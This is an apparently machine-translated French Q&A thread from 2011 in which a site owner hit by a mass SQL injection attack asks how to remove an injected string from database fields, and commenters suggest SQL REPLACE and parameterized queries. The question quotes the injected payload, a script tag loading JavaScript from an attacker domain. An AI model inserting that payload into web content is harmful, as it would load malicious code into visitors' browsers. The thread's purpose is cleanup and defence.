2011-10-16 6 views
2

J'ai malheureusement été victime de cette récente attaque: http://www.theregister.co.uk/2011/10/14/mass_website_inection_grows/. J'ai trouvé le code suspect dans de nombreux champs de ma base de données.sql supprimer la chaîne du champ et mettre à jour

Le code ajouté dans chaque cellule est toujours la même:

AVERTISSEMENT: Ne tentez pas de charger l'emplacement de ce fichier, je ne sais pas ce que pourraient être les conséquences, mais je ne serai pas responsable de la tous ceux qui veulent savoir

</title><script src=http://nbnjki.com/urchin.js ></script>

Je suis à la recherche d'une requête que je peux courir qui prendra chaque cellule dans une colonne sélectionnée et si elle trouve cette chaîne, le remplacer par '', en veillant à ne pas affecter le contenu existant de cellule.

+1

Vous comprenez qu'il s'agit d'une solution temporaire et même si vous la mettez à jour, vous pouvez être piraté 3 secondes plus tard. Assurez-vous que vous utilisez des requêtes paramétrées ou des procédures stockées, vous ne devriez jamais utiliser le SQL inline qui concatène l'entrée utilisateur – SQLMenace

Répondre

6

Ok a ma solution, pense que je paniqué en raison de l'urgence d'avoir juste de réaliser, pour quelqu'un d'autre:

Update dbo.authors 
Set city = replace(city, 'Salt', 'Olympic'); 

de http://www.sqlteam.com/article/using-replace-in-an-update-statement

+0

Et si vous êtes attaqué en 2 minutes ... utilisez-vous vraiment ce bandaid au lieu de résoudre le vrai problème .. ..pour exemple, ne pas utiliser SQL en ligne avec l'entrée utilisateur concaténée – SQLMenace

+0

J'apprécie la cause du problème a également besoin de réparation, mais à un moment donné, la base de données a également besoin d'être réparée, donc je vais avoir besoin de ce correctif – Chris

0

Vous pouvez utiliser la fonction REPLACE dans une instruction UPDATE.

Questions connexes